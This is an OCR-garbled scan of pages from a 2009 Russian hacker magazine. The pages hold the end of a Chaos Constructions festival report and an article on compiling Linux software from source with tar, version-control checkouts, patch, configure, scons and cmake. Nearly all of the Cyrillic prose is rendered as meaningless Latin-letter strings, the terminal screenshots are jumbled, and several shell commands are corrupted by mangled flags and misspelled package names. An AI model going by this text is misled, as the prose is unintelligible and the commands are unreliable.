decTuBane, s TedeHme 1-3 yacos. Kaxabii
13 YHECTHMKDB NOAY4a€eT YCTPOMCTBO (nevaT-
Ham nnara c anemeHTamu, Bes kopnycal, Ha
MHAWKATOPE KOTOPOro naeT obpaTHbIi OTCYeT.
3ada4a — 1M3y4nTs M 0De3BpeanTL YCTPONCTEO,
MyTeM BbICTaBJEHWUS Ha Er0 BXOLHOM Pa3beME
koMBrHaL WKW mepeMbiYek, ocTaHaBNUBalOLEl
obpaTHbIli 0TCuYeT. YCTpoicTBO peann3oeaHa Ha
MECTKOW NOrKe C NPYMEHEHWEM OT@YECTBEH-
HOV 3NEeMEHRTHOR Da3bl. YUacTHWKEM NpelocTas-
NATCES MEPEMBIYKK, CBETOAWNOAI, PE3NCTOPSI,
bymara, kapaHgaw, cnpasoyHasn nuTepartypa.
Mobena NprcyAaeTcs TOMY, KTO NepBbiM
HE220BeT MPaBRUAbHYIO KOMBUHAUWIO AN CBOBIO
ycTpoicTea. [ToMHUTE, 4TO CBOMMUW AENCTBUAMK
Bbl MOXETe He TONbKO OCTaHOBWTL, HO W YCKO-
putb oTcHeT! Bo BpeMs KoHKYpLa yHacTHUKamM
HE pazpellaeTcs No/b30EaTLCA KOMNLHUTEPaMH,
cobcTBeHHOM cnpaBoYHO nuTepaTypoi, cobet-
EeHHbIM obopypoBaHmem».
CToWT N1 rOBOPUTE, UTO HaNpsxkeHne bykBansHo
BWTEET B BOZAYXE, TaK 870 UOHW3UPYA, 4TO TOFO U
naay npockoynT paspaa? ;) Cospaetca nonHoe
OLLYLEHWE TOD, YT Y4aCTHWKK Ha camMom gene
obesspexueanT bombbl, MMEeR B 3anace BCero
OAHY MOTLITKY, KaK Canep 13 U3BECTHOWM Npu-
roBopkW. KTo-To prcyeT Ha DymMakKkax cxemsbl,
KTO-TO 2KCMEPUMEHTUPYET, PYCKYR 0WKNONTLCH.
Huuero, kazanocs bsl, 3@aMbICN0BATOrO, HO
CKONbKO GaHa, ecnv Aaxe He cKa3aTk afpeHa-
nwral MNobeguTensMm 3TOr0 HENerkKoro YenneH-
[xa cTanu: nepeoe mecto — [aeen 3axapor
[voice el] 19:13; BTopoe mecTto — KoH3yposc-
ki Anekcanap 13:58; TpeTbe MecTo — NOOP
[Bopuc) 12:15 [ykazaHo BpemMs, ocTaBLueecs 40

«p3puiBa». Ha 3apaHue boino noTpaydeHo 59 MuH
59 cekyHa MUHYC 3TO BpeMa).

W EWIE KOE-YTO

Ecau Tol AyMaelws, UTo 310 BCe, To rnyboko
ownbaewscd. KpoMme yxe nepeqyncieHHoro,
Chaos Constructions MoxeT noxeacTarThes
eLLe 1 CEMMHAPaMu Mo CaMbiM Pa3HbIM TEMa-
TMKaM. HanpuMep, B 3ToM rogy DbINKM «packpbl -
Thl TeMbi» MeTogoB obxoga Web Application
Firewall v npakTuueckoro npuMeHeH s
JavaFX. lMpowwes macTep-kNacc No y4acTuio

B pazpaboTke ceobogHoro 10 Ha npuMepe
React0S; npogomxunacs HauaTas elle Ha npo-
wnom LI amnckycena 06 OC @aHTom; U MHOrue
C YAOBONGCTBMEM MOCAYLLANM MCTOPUHECKMA
ceMuHap Sceneart history — o pazeutin
Harnpaenexus neyxmepHoi [20) pucosaHHoli
KOMMbIOTEPHOM rpaduKkm, TO 8CTb, MO CYTH, O
AEeMOCLEHE U ee UCTOPUW.

«3a KajpoM» B 9TO CTaTke 0CTaHyTCR BCEHa-
PO/IHO NDBKMbIE KOHKYPChI M0 METAHMID KECTKMX
OWCKOB W Knbep-ropofky [aranor absiuHsix
rOPoOAKOB, TONLKO GUIypLl 30eCh CTROAT HE U3
nepessaHHbix Bpyckos, a nz xapaos, CD/DVD-
NPYBOA0E W ApYrara «xenesa»|. ¥ coeeplueHHo
HEBO3MOXHO NepeaTs CIoBaMK Te UyBCTEA,
KOTOPbIE MCTbIThIAE Wb, CUAA 38 KOMMOM, MeCTe
KOTOPOro B My3€e, 3a CTeKNOM C CUTHaAr3almnen.
PagHo kak 1 HENb3A NEepPeaTs TOT a2apT, YTo
BWUTAET HA[, y4aCTHUKAMM BCEBO3IMOXHbIX pUil-
TaliMOBLIX COCTA3AHWI; W YBNEYEHHOCTL INEKT-
POHLLMKOR, C KOTOPOWM DHW YTO-TO NAgIOT, MOAKI0-
40T W JOAENLIBALT MPAMO HE X0fY; U TepAocTh
X039€B PAPUTETHBIX MaLLIWH, i MHOTOE, MHOTOE
npyroe. 4Tobbl 40 KOHLA NOHATE, 4TO XKe Takoe
Chaos Constructions, Hy>XHO yBUAETL 0 CBOW-
MU FNE38MW, HY>KHO NPOHUKHYTECS BIO AYXOM W
Hy>KHO ero npoxuTs. B ceeTe Toro, uto decrueans
eXerofHblil, Takad BO3MOXHOCTL MPeACTaBuTCH
yxke B koHue neta 2010 roga, v He 3Ha10, KaK Thl, @
nu4Ho 7 elo npeHebperatk He cobupaloce. Benk
rae elle MoXHO yBuaeTb Takoe? 30

XAKEP 10 /1307 09
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Bce, 4To Thl X0TesN1 3HaTb 0 C60pKe U3 UCXOAHUKOB

PaHo 1AM No3/HO BCE Mbl CTAIKMBAEMCA C HE0OX0AMMOCTLI0 COOPKY COM-
Ta U3 UCXOAHWKOB. [IpUUYMH TOMY OrpPOMHOE MHOXECTBO, a npobnem, co-

NPOBOXOAOLLMX 3TOT NpoLecc, ellle bonblue. HTo BbIOpaTh — apxuBs tar.gz
nnu CVS-cpes? Kak HaknanbiBaTe natum? Yro genatb, eCNv B MUCXOQHMKAX
HeT ckpunTa configure? Kak nobopoTb oWwmnbKM Komaunaumm? Kak cosgats

OUCTPUBYTUBHBIN NaKkeT 1 3acTaBUTb NporpamMmy pabotate? OTBeTHI Ha 3TU

M MHOT Ve Ipyrie BOMPOChI Thl HAWAELb B 3TOM CTaTbe.

MOJYYEHME MCXOLHbIX TEKCTOB
NPUMEHEHME NMATYEH
MOArOTOBKA K CBOPKE
KOH®UTYPUPOBAHHE H CEOPKA
MPOBGAEMbl KOMOUAALMH
MPOBAEMbI KOMIOUNALKUK B BSD
YCTAHOBKA

MPOBAEMbI 3ANYCKA

TaTkA pasfgeneHa Ha HeCKONLKO MeTa-
pasfenos, NolWarcBo 0NyChiBaoLMX
npouecc cbopku NPUNOKEHUA U
YCTEHOBKW B0 B CUCTEMY. Thl MOXELb

NPOFA0TUTL €€ CPa3y UK MCMONb30BaTh Kak

CNPaBOYHWK: paznenel He 3aBUCAT OfMH oT

Lpyroro.

MoJIYYEHUE
MCXOOHbLIXTEKCTOB

[Tony4ymTh NCXOAHKBIE TEKCTHI NPUNOXKEHNA
MOXHO HECKONLKIMMIK cnocobamu. Camblit
NPOCTON 1 HaMeHee TPYA03aTpaTHBIA —
ckauaTh apxus tar.gz unu tar.bz2 (wnu paxe
tar.lzmal c opwuwansHoro canta paspabot-
ymkoe. B atom cnyyae poctaTtoyHo pacnako-
BaTk NONYYEHHbLIA Qain ¢ NoMOLLbLI0 OAHOW
13 MPUBEJEHHBIX HUKE KOMaH[, 1 NepeiTh Kk
cnefylolemy pasfeny crtaTbu.

» 090

S tar xvzf ums. apxusa. tar.gz

nnwm
$ tar xvif s, apxuBa. tar.bz2

[TprmMevaHue: ecin B TBORK *NiX-CUCTEME YTUNINTE
tar He nogaepxueaet dnar -, To 3aneACTBYI
KOHCTPYKUMIO: «bunzip? < uma.apxvea.tarbz? |
tar xvf-».

OpnHako 370 He Bcerpa byAeT caMbiM YAAUHBIM
Bbibopom. KoMangdbl pa3paboT4nkoB HeKOTOphIX
MPOEKTOR N0MYCKAIOT OYeHb LTUTeIbHble nepe-
PhIBbI MEXAY BbIMYCKaMMU PENW30B CBOMX AETWLL
(BnnoTe go Heckonskux net!], npogonxXKan
BTWXYI0 paboTtats Hal npoekTomM. [puyem ato
COBCEM 1aXe HEe HAMEK HE OrPOMHOE KONMYecT-
80 6arog, KoTOpLIE NPOTPAMMUCTEI YMHAT IHAMN
¥ HOYaMK — NpocTo Heobxogumeli 0bbem dyHk-
LMOHANBHOCTM ELLE HE HBKOMWACA.

Buixof 13 CUTYSLMU KPOETCA B TOM, 4ToBb Nobpo-
[WTkL N0 caiTy pa3paboTynkos W HalTW CCbINKY
Ha exeMecauHsle/exeHedensHbe/exeHes-
Hble CHamwoTsl. Ecnun xe Hudero noaobHoro Ha
FOPW30HTE He BWAHEETCH, TOraa berom B CBATYIO
cBATIX — YCS-peno3nTopuid MCXOAHbIX TEKCTOR
MpoEKTa

Wcnonb3zosadue penozutopusa VCS [cuctemb
KOHTPOMA BEOCHA, K KOWM MOXHO oTHecTH CVS,

Subversion, Git, Hg v MHOXxecTBO Apyrvx npo-
J'LyKTGB] B KA4eCTBe MCTOYHWKa «CBEXATUHKN»

HeceT B cebe Macoy naaesHe X NoboYHbIX

3pdekTos. TyT W BO3MOXHOCTL BCErAA DbiTh «Ha
OCTpME aTakm», KOrAa Thl CODMpaeLb Nporpam-

MY, TOCNeAHEE M3MEHEHVE B KOTOPYIO BHECM
15 MUHYT Hazapn, v beicTpoe 0BHoeneHne (VCS
BbIKaYMBAIT TONBKO UZMEHKMBLIKMeCs Galtibl BO
BpeMa 0BHOBIEHUS), U 4YBCTBO NPUUACTHOCTH
K YeMy-TO BaXHOMY, B KOHLLE koHUoB. Ho ecTb

W OTPULETENEHBIA MOMEHT — HecTabuibHOCTb
xpaHauerocs 8 VCS kopa, koTopeiM, Npasaa,
MOXKHO MpeHeBpeyb: B BoNbLINX 1 CEPLE3HbIX
MpOEKTax 3KCNeprMeHTanbHele 1 0cobo Heyc-

TOWYMBRIE HOBCEBBegeHwnd obeiuro npousBoOAT

B OTAENLHBIX BETKAX, 8 YXKe NoC/e BHOCAT B
QCHOBHOM KOA.

YuuTbIBas , UTO B MOCAeAHEe BPEMA PA3BEN0ch
MHOXECTBO paBJ’M‘—{HI;:LX CucTem KoHTpons BEPCMLT!.
Bepy Ha ceba 0bazaHHoCTL oNKUCaTL NpoLecc
nonyHeHunHd WMCXOOHbLIX TEKCTOE U3 pEHO'jV!T(JpMH
KaX /100 U3 HWX:

s CVS — yxe manao rge Cnofib3yeTcs, Ho UMEeT
MECTO DbITh:

$ sudo apt-get install cvs

$ cvs —z3 —d:pserver:anonymous@
cvs.bochs.sf.net: fevsroot /bochs

checkout hochs

XAKEP 10 /130/ 09
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» Subversion — NCNONb3YeTCH B NPOEKTAX, pas-

MeLLeHHbIX Ha = 1= 1

4 sudo apt-get install subversion
% svm checkout http://infernc-ds
googlecode.com/svn/trunk/ inferno-

de-read-only

o Git — ocobo niobuma Linux-paspaborymnkamy,
WCNONb3YEeTCH Ha I rgu i

$ sudo apt-get install git-core

5 git clone git://github.com/

russel/scons.git
® Mercurial — cod 1 MHOXECTBO
Apyrux, bonee Menkux, X0CTUHIOB:

$ sudo apt-get install mercurial
$ hg clone https://inferno-os.

googlecode.com/hg/ infernc-os

NMPUMEHEHUE MNMATYEH

MlcxofHEIe TeKCThl — 3T0 ele He Bce. MHorna
BO3HUKEET He0BXOANMOCTE B HBJIOXKEHWK XUTPbIX
NaTye Ha NPWITKEHKA C LN PaCLUKMphTh
WX DYHKLMOHAN Min ncnpaeuTs bar [Boinyck
HeopUUManbHbIX NaTYER, BPEMEHHO YCTPaHsS -
HOLLMX CNOXKHO YI0BWMEle Baru B kofe — 4acTas
npaxtuka B cpese Open Source). Yto genars?
Bce npocro. MNepsoe: cnegyeT ybenuees, 410
nary co3/AaH A1 TOA BepCUM NPOrpamMMbl,
WCXOAHAKAMM KOTOPOH Thi 3@BNajgen — Hebonk-
LIKE PACXOXAEHIA B BEPCHSX IONYCTUMBI, HO
He pekoMeHayemsl. Bropoe: npocmoTpeTh nat,
BO3MOXHO B HeM cogepskuntes bakaop. TpeTbe:
NpOBEPUTE, [18K0 N1 HAKNa[IBEETCH NaTH, 1
HaknansblBaeTCs N oH BoobLe:

S cd MCXOOHMEW _TPOTpaMMbl
3 patch --dry-run -pl < /yTh/K/OaT-
uy .patch

Ecnu gce OK, MOXHO 3aNyCTUTEL Npoueaypy
MogudrKaLmm:

$ patch -pl < /myTe/K/DaTgy .patch
[aTum MOTYT PACNpOCTPaHATLCA B CKATOM BUpE
(c pacwmpennem.gz unu .bzZ). B stom ciyqae
npoueaypa Hanoxexus ByaeT BeIrnaieTh TaK:

$ gzip —~cd mary.gz | patch -p0
WK

$ bzip2 -cd naty.bz2 | patch -pl
He boics aKkcnepmMeHTUpoBaTs, NOTOMY HTO

M3MEHEHMWS, CO3AaHHbIE NaTUEM, BCETa MOXKHO
OTMEHNTL, 3aMycTHB KoMaHgy patch ¢ gmarom -R'.

NoAroTOBKA K CBOPKE

MepenTeM KaK NPUCTYNINTL K COOPKE NproKe-
HIst, X0poLWwo Bl yBEANTLCH B TOM, 4TC BCe Heob-
XOLMMEIS MHCTPYMEHTL YCTAaHOBNEHb! M FoTOBbI K

XAKEP 10 /130/ 09
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ycnonb3osaumo. Bo-nepssix, Tebe nonagoburcs
CODCTBEHHO CaM KOMNUAATOP, COAEPKALMACA

B naketax gcc-* unutomy nogobreix. Bo-BTo-
DLIX, KOMMNOHOBLMK W apxueatop bubnnorex

na nakeTa binutils. B-TpeTbux, 3aronosoyHse
dakinbl cTaHAapTHOW BrubnroTeku f3bika Cn—
naket libc-dev, n, koneuno ke, yrunuta make. Bo
MHOMMX AUCTPVBYTUBEX BCE 3TO MOXHC NONYHNTb
uepes YCTaHoBKY CNelnantsHoro MeTa-nakera.
Mpumep ana Ubuntu:

$ sudo apt-get install build-
egsential

Main README, copepxalllMiAcy B KOPHE apxu1Ba,
ofnzaTeneH K NpoHTeHKIo. Kak Npaswne, B HeM
onucaHbl Bce HeobxoayMble NPKUIOKEHWIO
33BUCMMOCTH, 3 TAKKE pekoMeHaaln no cbopke
v oTBETH Ha Bonpockl. INSTALL Toxe MOXHO Npo-
FAAAETE, HO CBLIYHD OH ABAAETCH CTAHABPTHOM
Konwen 0HoMMEHHOIC $alina, NocTasngeMoro

¢ Habopom yTunuT autotools, v He NpeacTaBrser
WHTEpEeca.

KOHO®UT'YPUPOBAHUE
M CBOPKA

B 0TKpbITbIX TPOEKTaxX MCIONb3YKTCA CNeu-
2/IbHble creTeMbl cBopku, 330343 KOTOPbIX
3aK/I0Y3ETCA B ONPEAENeHNM THa ONepaLUnoH-
HOP CUCTEMEL, YCTAHOBKE CNEelMasHbix praros
KOMMUNATOPE M NIMHKOBLLMKE, NoKcke Heobxoam-
MbIX NPUADKEHUK BUBNMOTEK M 38rDNOBOYHBIX
dbnaros 1 nocnepyowei chopke 1 ycTaHoBke
MPWIIONKEHWS.

TpagULUMOHHO B KAYBCTBE TAKOW CHCTEMbI
MCNONL30Bancy NoKpbIThIA cenuHoi Makefile, B
KOTOPOM DblNK ONMCaHLI NPaBKAE KOMIUIALNK

v ycTaHoBKW nprnoxeHws. OnHako mpocToTa

ero CMHTAKCMCa BbIHyKana npoarpaMMucToB
BLINOHATE ABOWHYI0 paboTy (Hanncakwe camoro
MPUAOKEHKA, NNIOC HAanKcaHWe BonbLIoro
Makefile, koTopbI yunTEIBaN BCe 0COBEKHOCTH
Huanexatlen OC, camocToATENBHO HAX04MN
Bubnmotey v T.4.) [o3ToMy B paMkax npoexTa
GNU 6bin pazpaboran nabop ytunut autotools,
koTopsle aBToMaT3uposank 95% atoi paboTsl
UreHepupoeanu rOTOBbLIN K UCNONB30BAHMIO
Makefile. MozaHee autotools, HanwcaxHbie Ha sh
Vi perl, paspociuck 1 CTanu HacToNbKo Heyaob-
Hbl, 4TO Bbinv paspaboTarsl ansTepHaTUBHLIE
cucteMsl chopkw, Harbonee nonynspHe N3
KOTOPBIX SCONS WM cmake.

K yemy ato a7 K TOMy, UTO 0T MCMONL3YEMON
cucTemMbl cBOPKM HAaNPAMYIO 33BUCKT TO, KaKue
KOMaH bl NPUAETCH BLINOAHATE NONB30BATENIO,
YToBkI, MMER MCXOOHBIE TEKCThI MPUIOXKEHWS,
nony4uTh ero burapHuk. Hanpumep, B cucre-
Max, 0CHOBaHHbIX Ha Makefile (koTopsle nerko
MNEHTMOULMPOBATH MO HANWHKIO OAHOWMEHHOTO
$aitna B KopHe apx1Ba C MCXOAHVKamu], Ans
cBHOpPKW MCNONE3YETCs NPUBLIYHEA KOMaHOa
make, a koHdurypauwa (nytw yctanoskn, Habop
BKJIHOUSEMbIX B MPUIOKEHNE KOMIIOHEHTOB,
dnaru komnunaTopa U T.A.] 0bsluHo yre3biBaeTea
npamo B camom Makefile [xoTa MoxeT HaxoguTbCA
1 B OTRENbHOM darie).

©‘@uumu
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§1n8] 1 desktop:~/hydrogen-8.9.4-rc2s patch -pd = patches/hydrogen-682-03x-scons.di
T

patching file Sconstruct
Hunk #1 FAILED ot 61,
Hunk #2 FAILED st 80.
Hunk #3 FAILED ot 228,
Hunk #4 FAILED 3t 229.
Hunk 3 FAILED ot 282.
Hunk #6 FAILED at 338
Hunk #7 FAILED at 431,
7 out of 7 hunks FAILED
patching file gtd.py
Hunk #1 FAILED at 498.

1 out of 1 hunk FAILED -- saving rejects to file qrd.py.rej
§1m@j Im-deskrop: ~/hydrogen-9.9.4-re2s

saving rejects to file Sconstruct.ref

Hanwuuo HecopnaaeHl
BepcuMnNaryannporpam

Mbl

MonynapHas cucTema cbopkm autotools, naex-
TdULMpyeMaRTIo Hanuunio ckpunTa configure,
Bonee apyxenobHa K NoNL30BATENIO W 10380~
IRET yKa3blBaTh BCE ONLMKM KOMNUIALMKI Hepes
apryMeHTbl KOMaHAHOM CTPOKM:

$ . /configure —-prefix=/usr/local
——without -debug —-without-gtk
--with-gt --enable-mmx

[ne '--prefix' 03HayYaeT Nyt yCTAHOBKU MPKII0-
Kenua, dnaru ' --with-4ro-To-Tam ' 1 ' --without-
4TO-TO-TaMm ' MO3BOMFIOT BKAIOHNTE UK OTKIIIOUNTE
40baBAfeMbIe B NPUAOKEHNE KOMNOHEHTSI, 8
¢dnaruTmna '--enable-BoT-310 ' UCNONL3YIOTCH
119 YKa3aHWA Ha WCM0NL30BaHWE CreLmnansHoro
koaa. CKpunT oueHUT NpUrogHoCTL ONepatoH-
HOIA cucTeMBl A COOPKM 1 YCTaHOBKM NPUN0-
HKEeHWUS U CTeHEPUPYET CTaHAapTHbINA [Ho o4eHb
Bonbluoi) Makefile, a ana KoMnuNg LMY NPUNOKE-
HIst OCTaHETCH HabpaTh 3aBETHYIO KoMaHdy make.
Ecnu xe Hit Makefile, Hu configure B apxuBe He
HabNioAaeTca — 3HauWT, NPorpaMma UCnolls-
3yeT ofiHy M3 ansTepHaTHBHBIX cucTeM cbopku:
scons [paiin SConstruct B kopHe) uin cmake
[CMakelLists.txt). B nepsom cnyyae Heobxognmo
YCTaHOBUTL CaM SCONS:

$ sudo apt-get install scons
W 3anycTuTb npoyecc KoMNUNaumn:

$ scons PREFIX=/usr/local

$ sudo scons

Onuwn 0belyHo onvcans! B paine README v ne-
PeaalnTCs YTUANTE SCONS B KaYecTBe apryMeHToB.
Chopka c NoMoLbio cmake HanoMUHaeT Uc-
nonb3osaHue autotools c TOM AKLLL pasHULENR,
4To BMeCTO 3anycka ./configure HeobxoaumMo
Habupark koMaHy cmake. Bes nocneposarents-
HOCTH KOMaH [, BbIMAAMT npumepHo Tak [cmake
TpebyeTykasaHua katanora cbopku, N03ToMy Mb
yKa3blBaeM ToUKy):

% sudo apt-get install cmake

$ cmake .

$ make

Onuyun NepedaloTcs Ha MaHep SCONS W Takxe
0B6biuHo onncarsl 8 README nnw INSTALL.

NMPOBJIEMbl KOMNMUNALWUNA

Mpobnemb co cOBOPKOK NPUOXKEHWA MOTYT
BO3HMKHYTbL K3K Ha 3Tane KoHPMIypupoBaHus
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Share/hg$ sudo apt-cache show build-essential
build-essential
Priarity: optional
Qsc:unn: gevel b
Installed-Size: 48
Malntainer: Ubuntu Core Developers <ubuntu-devel-discussglists.ubunty.cons
‘Original-Maintainer: Hatthias Klase =dakogdebion.args
Architecture: 1386

jersion: 11.4
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J1mgjLn-deskiop:~/Share/ngs svn checkout hitp://infernc-ds.googlecode.c
tnferno-ds-read-cnly
infernc-ds-read-only/locard.c
infernc-ds-read-only/archds.c
inferno-ds- read-only/devether.c
infernoc-ds-read-only/iordtf.c
inferno-ds-read-only/sds |
infernc-ds-read-only/L.5

A8rgS STAAP ¥ -8
ear/nth/erpancom. Toveat. 10081 8 it oM
Jusriapinzionttace: (€131 01 to ' /us /snLa SLIEN
usrisbinus 20308 ta St
Tarminstatanm’ mm 13461 10 “Jusr/naimssouans lol1an. iaest

#1132-1386]

smplilind Sy \ur;u 13861 50 f-smewsw.w: 113223861

5| LGP fel

FuBFEDINICN Y

cdinan etz 13061
uar/sbin/aihorGe’ (oL 142-3308]
Zasr/anin/THLatchs® (U122-13061 To *fusr/ain/atryzalr: {alf3i-1i06]
ustisban/Aaghiip

7
A
A
A
A
A
A !
epends: Libcg-dey [ Libcodey, ges (2= 4id.3.1), make, dphg-dey (o= 1.33.5) A inferno-ds-read-only/devdldi.c o blonlfl il e [‘l"l;‘:i:ﬂ:sgl g i
Filimane: ooal/maino/buiia-eisential/bui d-eipntial 11.4.1386.deb P Sl ol P R e B e B
(’m‘w T e A inferno-ds-resd-only/ethernds.c ﬂ,g:::: T hnr/insmeran: |).|u] T “Anr7in s (el 32 (6]
SHAL: 42730749832de13%nan011 6007862 2660142900 :\ 1n:ernu-35~re:-on"l.y:zaudmup ok fres ;mr;l::ll-;:lpdulu:n.lzlsn :ug 'fu;“:;&'.m:.i"f"w}rmm':ib;wm‘mm L
SHA256! 2aBa31c2447111186a673768cU0TA060ABBE02L51bAbE6RL2I 169 0a0dC 16T 10 nfernc-ds-read-only/screen.c ey T i by i bricsifes {4
‘Gescription-cn G8: Informational Lzt of buile-essentisl packages 294 infernc-ds- read-only/defont.c 3 D e i e Lt B Sl et Bt e g
11 you do nst plan te buila Debian packages, you don't need this package, =T A inferne-ds-read-only/devnds.c supy [rom “fuse/sbin/retacaid’ (a1032-1386) to ' fusr/sbin/stAdMdla’ Telt32-33061
Rk R e G B e B A infernc-ds-read-only/ fpi.n f Sl e A L L e
L 4 inferno-ds-read-only/doc cory Fros © Tel432-1386] 1 ek’ (o632 1386
: it o ey st ot e o
This package contains an informational List of packages which sre A inferno-ds-read-only/doc/infds, tex i, :unr:s::n:wrpznns RERE R ’r’u:r:u‘:n;:::::‘i i
coscigerad REseatiat far Buttalsy DAbTRN fackiges: TALS BACKBQLALED & inferno-ds-read-only/doc/mkfile | <,,, e O R e e DT
depends on the packages on that list, to make it easy to have the build- < ) A inferno-ds- read-only/doc/infds.pdf apy fron fusr/sin/emsunt fal! [e1135-1380] ta - fuscishin/utetotls’ ‘rn::a ’?‘!-n o
o THETLLI PAEKROSE (ARTALLe (A inferno-ds.reead-only/doc/pdarticle.cls T e | o i fulr:':n:::m;mn b
A inferno-ds-read-only/doc/guide oy T arsbinsiborashuiad conia tedater 1sU0 4006 %o NT/UMALSNRRCT 1811724301
u you have This package installed, ;nu only need to mszal\ vhatevar a T e ,di'r!dml;’,“mgn_h fr et ettt BB s Bl et
sReciiics az dt S peen 1 infarnn.de.read.anlufioamts
ﬂmw[.w.n d- ential, conep: [lonyyaem MCXOAHBbIA KON Ctpunaem» bBuHapHukK
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NO3NTODWUHE S

BCE
MCXOOHWKOB

cucTemMsl cBopkK, TaK 1 Ha 3Tare HENoOCPeCTEEH-
HOWM KOMAUNALKMK NpunoxkeHns. bonblunHcTso 13
HMX CBA3EHO C MOUCKOM TeX MW MHbIX BrnbiuoTek,
3aronoBoYHbIX Gannos v Apyrx KOMMNOHEHTOB, OT
KOTOpbIX 38B8KCUT paboTocnocobHoCTL Npunoxe-
HWA, Mx nerko upeHTuduumMposaTts no bonee yem
MHOTOCOBHLIM COOBLEHUAM cHcTeMsl chopku:
Checking for gtd... no
B atoM cyuae 4ocTaTouHO yCTaHoBuTL Tpebye-
MbIii nakeT (1 ero 3aronoBoYHbIe Gaiinbl, KoTopsle
conepxatcs B nakerax *-dev] c nomoubio naxkeT-
HOTD MeHexepa W BHOBb 3aMyCcTUTh MpoLece
KOHPUIYpUpoBaHMS.
B HekoTopbix cny4danx cBopLUmK MOXET UCKaTs He
Cam Naker, a TONbKO ero 3aronoso4Hbie dbainbl,
BLIBOAS Ha 3KpaH coobuleHus Bpoge:

Checking for unistd.h... no

Torpa npuaetcs obpatuTees K novcky google
UTOBBI HAMTY HA3BAHWE N3KETa, COAEPKALLErD
HeobxoauMbIY 3aroNoBoYHbIN Gain.

Ho 370 eLLe He BCe, 1 Tbl MOXeLLb CUNbHO
YAMBUTLCH, 0BHapy>KUB, 4TO Nocne ycTaHoBKM
nakeTa KOHGUIYPaTOp NPOLOIIKEET PYraTscs Ha
ero otcyTcTeve. MprymH ToMy MoxeT BbiTs TpH:
HE[0YCTEHOBEHHbIE dev-TaKeTsl, yCTapeBlne
BEPCHYVI NAKETOB B AUCTPUBYTUBE, HENMPABWIb-
Hble NyTh Noncka BrbanaTex 1 3aroNo0soHHsIX
dannoe. Ho ecnu nepeas npobnema pelaetcs
NErko, 70 C 4BYMS APYTVMIA €CTb CIIOXHOCTH. Thi
MOl b MonbITaTsCs 0DHOBUTE HeobXoaMMBbIA
NAKeT CNOMOLLBIO NaKeTHOro MEHEXKEPd, HO 3TO
He cpaboTaert, ecnu aMcTpubyTiBe yaxe ycTapen, 1
B KaYeCTBE 0BHOBNEHWNIA K HEMY BbBIXOLOAT TONIBKO
Bargukcsl, unu ecnn npunoxeHue Tpebyet
HOBelLLyio Bepcuio bubnunoTteku, koTopyio elle He
ycrnenuynakosats B nakeT. [puaetcsa cobupats
13 UCXOAHMKOB Y>Ke CaMy 38BUCUMOCTb, 8 Takke
33aBUCKMMOCTb 3aBUCUMOCTU M T.[0.

lMpobnema c HeMpaBUAbHLIMU MYTAMM NAUCKa
0bbIvHO CBR3aHa:

1.cownbroi Toro, KTo COCTABNAN MPaBuaa ANs
CHUCTEMBI CBOPKM;

2.yCTaHOBKOW 33BUCHMOCTM B HECTaHA2PTHbI
katanor (Hanpumep, ecnu oxa Toxe Buina cobpaxa
W3 UCXOAHWKOB).

Pewenne: yka3aTk MyTv Noucka Yepes NepeMeHHble
KOMMUAATOPA W IMHKOBLUMKA Mepes, 3anyCcKkom
cbopumka:

» 092

S export CFLAGS="S$CFLAGS -I/usxr/
local/include -I/opt/include -TI/
usr/mysoft/include"

$ export LDFLAGS="SLDFLAGS -L/usr/
local/lib -L/opt/lib -L/usr/mysoft/

[y

Berpeuatotes 1 coBcem xapakopHble cayyau,
KOr/@ 3aBMCHMOCTb Hy>XKHOR BEPCWMW yCTaHOB/eHa
BMECTe CO BCeMM 3aronoBoYHbIMMU daitnaMmn B ka-
Tanoru, pacnonoxeHHble N0 NPaBuALHbIM MyTAM,
a KOHPUIypaTop BCE PABHO OTKA3LIBAETCH MX Ha -
xoauTs. [1puaeTcs nests 8 cam ckpunt configure
M KOMMEHTWPOBaTb BCE MecTa, Fe MPoM3BOAWTCS
nouck3aemncumoct, OBLIYHO Nocne Takoro BMe-
WwaTenscTEa koHdurypaTop cbopuimka oTpaba-
TeigaeT bes owwubok, v nporpamma bnarononyyHo
cobupaeTca.

[locTaTouHE YacTe MOXHO HATKHYTLCA Ha MPUAO-
KEHWH, KOTOpbIe He MOryT BbiTs cobpaHbl HoBbIM
KOMIMMSISTOPOM [KaK 3T0 [10 HeAEEHEr 0 BpEMeHN
beine camynaropom gemul. [oatomy, ecnu sl
BCTPETUA YNOMUHAHME O 4eM-To NoA00HOM B
README, npocTo yctaHoBY peKOMEeHA0BaHHYI0
aBTOPOM BEPCHIO KOMITUNATOPE W YKaXM MyTh K
HeMy yepes nepemenryio CC nepes 3anyckom
cbopumka:

S sudo apt-get install gecc-3.4
S export CC='which gcc-3.4"
S ./configure --prefix=/usr/local

MPOBJIEMbI
KoMnunauum B BSD

B noeecok ko Bcemy nepeyncneHHoMy Nofb-
zosaTenu FreeBSD nonyyator Maccy gpyrnx
npobnem, KOpHU KOTOPLIX PACTYT U3 CreynduKn
CaMmow onepaumnoHHoi cuctemel. Befp, HecMoTpa
Ha HanW4Kne CMCTeMbl MOPTOR, KOTOPas Kak pas

v CO3flaHa [s Toro, 4Tobbl aBTOMaTN3KMPOBaThL
npouecc cbopku ctopoHHero codra, Heobxoan-
MOCTb «DYYHOTO BMELLATENLCTBE» BOIHUKAET
L0CTaTo4HO YacTo. [opThl HekoTopLIX NporpamMm
coBceM He 0BHOBAAIOTCH, ApYrire NoMeyYeHs
dnarom BROKEN, a HosbIf codT MOXKeT NpoinTu
QUEHb AOMNTWIA NYTh NEPEL BKIHUEHUEM B 0DULM-
ancHoe nepeso. BoT v NnpuxoauTca BeikaueaTs
MCXOAHWKY 1 CAMOCTOATENbHO KOMIMUAWPOBaThL
MporpaMmy, CNoTLIKaRCE NG NYTH 0 MHOXECTBO
NOBCIOAY Pa2BpocaHHbIX KaMHER.

YacTo HOBUYKM BXOLST B CTYNOP MPOCTO OTTOrQ,

YTO MbITAITCH NCMONB30BATE NPUBBIYHYI0 KOMaH -
oy make ans cOopkM NPUACKEHIS WU MONyYaoT
ropy olrMBboK 0 HerpaBuIbHOM CUHTaKCKUCE
mankdanna. Ceazano 3o c TeM, 4to BSO-cucte-
Mbl MCTONL3YI0T COOCTBEHHYI0 BEepcuio make, He
yHacne0BaBILyo BECE BOPOX HOBOBBEAEHUN,
caenanHeix B GNU Make. Moatomy cnepyer
ycTaHaBnuears gmake Hepes cucTeMy NopTes 1
cobupaTe npunoxeHue ¢ ero noMolysio [gmake
&& gmake install].

Bropas zarsozaka: nytn noucka bnbnuotex
3aronoBoYHbIX Gainos, bes ABHOT0 yKa3aHwWs Ko-
